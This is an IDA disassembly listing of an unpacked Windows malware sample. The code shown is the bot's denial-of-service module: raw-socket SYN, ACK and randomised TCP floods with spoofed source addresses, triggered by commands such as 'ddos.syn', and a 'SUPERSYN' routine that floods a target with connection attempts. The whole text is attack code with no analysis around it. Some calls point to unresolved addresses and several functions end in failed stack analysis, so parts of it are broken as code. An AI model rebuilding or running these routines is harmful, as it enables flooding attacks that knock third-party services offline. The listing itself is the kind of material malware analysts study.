;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	67931A87186EFD297B0ABDEFEB41855D

; File Name   :	u:\work\67931a87186efd297b0abdefeb41855d_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0008C000 ( 573440.)
; Section size in file		: 0008C000 ( 573440.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40EE72+3A17o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	near ptr 25F09B1h
		nop
		push	eax
		call	sub_417302
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013EC
		add	esp, 14h
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_426050
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401093
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_40D679
		add	esp, 14h

loc_401093:				; CODE XREF: sub_401000+71j
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_290]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F030Eh
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B5	proc near		; CODE XREF: sub_4013EC+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43F5E0
		test	eax, eax
		jz	short loc_4010F5
		xor	eax, eax
		jmp	loc_4013E8
; ---------------------------------------------------------------------------

loc_4010F5:				; CODE XREF: sub_4010B5+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43F70C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013E0
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D6
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_43F668
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_43F668
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_43F668
		mov	[ebp+var_12], ax
		call	sub_41730C
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43F668
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_43F664
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C5
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401219
; ---------------------------------------------------------------------------

loc_4011C5:				; CODE XREF: sub_4010B5+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011E1
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401219
; ---------------------------------------------------------------------------

loc_4011E1:				; CODE XREF: sub_4010B5+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401219
		call	sub_41730C
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41730C
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_401219:				; CODE XREF: sub_4010B5+10Ej
					; sub_4010B5+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_43F668
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2600000h
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 25F0A51h
		nop
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_401267:				; CODE XREF: sub_4010B5+2E2j
					; sub_4010B5+2F0j
		mov	[ebp+var_4], bx
		call	sub_41730C
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43F668
		mov	[ebp+var_14], ax
		call	sub_41730C
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730C
		or	edi, eax
		push	edi
		call	dword_43F668
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43F664
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43F668
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013AA
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 25F0A51h
		nop
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013D3
		jl	loc_401267
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4013D3
		jmp	loc_401267
; ---------------------------------------------------------------------------

loc_4013AA:				; CODE XREF: sub_4010B5+2CBj
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_426088
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_4013D6
; ---------------------------------------------------------------------------

loc_4013D3:				; CODE XREF: sub_4010B5+2E0j
					; sub_4010B5+2EEj
		mov	ebx, [ebp+arg_8]

loc_4013D6:				; CODE XREF: sub_4010B5+78j
					; sub_4010B5+31Cj
		push	[ebp+var_20]
		call	dword_43F700
		pop	esi

loc_4013E0:				; CODE XREF: sub_4010B5+5Bj
		call	dword_43F5C8
		mov	eax, ebx

loc_4013E8:				; CODE XREF: sub_4010B5+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4010B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013EC	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730C
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B5
		add	esp, 20h
		test	eax, eax
		jnz	short loc_40143B
		push	1
		pop	eax

loc_40143B:				; CODE XREF: sub_4013EC+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40144A	proc near		; DATA XREF: sub_40EE72+3C05o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_43F6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014E5
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_3BC]

loc_401493:				; DATA XREF: ___:off_4282ACo
		push	offset unk_426214
		push	eax
		call	sub_4172B0
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C8
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_4014C8:				; CODE XREF: sub_40144A+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25F030Eh

loc_4014E5:				; CODE XREF: sub_40144A+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40155C
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4261CC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40153F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_40153F:				; CODE XREF: sub_40144A+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25F030Eh

loc_40155C:				; CODE XREF: sub_40144A+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015C3
		lea	eax, [ebp+var_3BC]
		push	offset unk_42619C
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A6
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_4015A6:				; CODE XREF: sub_40144A+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25F030Eh

loc_4015C3:				; CODE XREF: sub_40144A+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_43F668
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43F6A8
		mov	esi, dword_424058
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi
		mov	[ebp+var_8], eax

loc_401601:				; CODE XREF: sub_40144A+2E8j
		call	esi
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4017AC
		push	41Ch
		mov	byte_43C3E8, 45h
		call	dword_43F668
		cmp	[ebp+var_2C], edi
		mov	word_43C3EA, ax
		mov	word_43C3EC, bx
		mov	word_43C3EE, di
		mov	byte_43C3F0, 80h
		mov	byte_43C3F1, bl
		mov	word_43C3F2, di
		jz	short loc_401687
		call	sub_41730C
		mov	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		push	1
		mov	dword_43C3F4, ebx
		pop	ebx
		jmp	short loc_40169F
; ---------------------------------------------------------------------------

loc_401687:				; CODE XREF: sub_40144A+20Bj
		push	[ebp+var_1BC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		mov	dword_43C3F4, eax

loc_40169F:				; CODE XREF: sub_40144A+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_43C3F8, eax
		call	sub_41730C
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43C3FC, dl
		call	sub_41730C
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43C3FD, dl
		call	sub_41730C
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_43C3FE, di
		mov	word_43C402, bx
		inc	edx
		mov	word_43C400, dx
		call	sub_41730C
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_43C404
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_43C3E8
		push	[ebp+var_4]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401737
		inc	[ebp+arg_0]
		jmp	loc_401601
; ---------------------------------------------------------------------------

loc_401737:				; CODE XREF: sub_40144A+2E3j
		push	[ebp+var_4]
		call	dword_43F700
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_42613C
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_40178F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_40178F:				; CODE XREF: sub_40144A+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25F030Eh

loc_4017AC:				; CODE XREF: sub_40144A+1C8j
		push	[ebp+var_4]
		call	dword_43F700
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4260DC
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401814
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_401814:				; CODE XREF: sub_40144A+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 25F030Eh
sub_40144A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401831	proc near		; DATA XREF: sub_40EE72+159Do

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401992
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset aSupersynDoneWi ; "[SUPERSYN]: Done with	flood (%iKB/sec)"
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4018B1
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h

loc_4018B1:				; CODE XREF: sub_401831+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F030Eh
		pop	edi
		pop	esi
sub_401831	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018D0	proc near		; CODE XREF: sub_401992+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_43F668
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_40198E
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h

loc_40191B:				; CODE XREF: sub_4018D0+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_401923:				; CODE XREF: sub_4018D0+7Aj
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_401946
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB155Ah
		nop

loc_401946:				; CODE XREF: sub_4018D0+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_401923
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_401954:				; CODE XREF: sub_4018D0+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_401954
		push	64h
		nop
		call	near ptr 26003D2h
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_401978:				; CODE XREF: sub_4018D0+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_401978
		dec	[ebp+arg_4]
		jnz	short loc_40191B
		pop	edi
		pop	esi
		pop	ebx

loc_40198E:				; CODE XREF: sub_4018D0+3Ej
		xor	eax, eax
		leave
		retn
sub_4018D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_401992	proc near		; CODE XREF: sub_401831+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4018D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4019C8
		push	1
		pop	eax

loc_4019C8:				; CODE XREF: sub_401992+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019D7	proc near		; DATA XREF: sub_40EE72+3908o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401D28
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_426280
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401A57
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h

loc_401A57:				; CODE XREF: sub_4019D7+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 25F030Eh
		nop
		pop	edi
		pop	esi
sub_4019D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A76	proc near		; CODE XREF: sub_401D28+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43F5E0
		test	eax, eax
		jz	short loc_401AB6
		xor	eax, eax
		jmp	loc_401D24
; ---------------------------------------------------------------------------

loc_401AB6:				; CODE XREF: sub_401A76+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43F70C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401D1C
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jz	loc_401D12
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_43F668
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_43F668
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
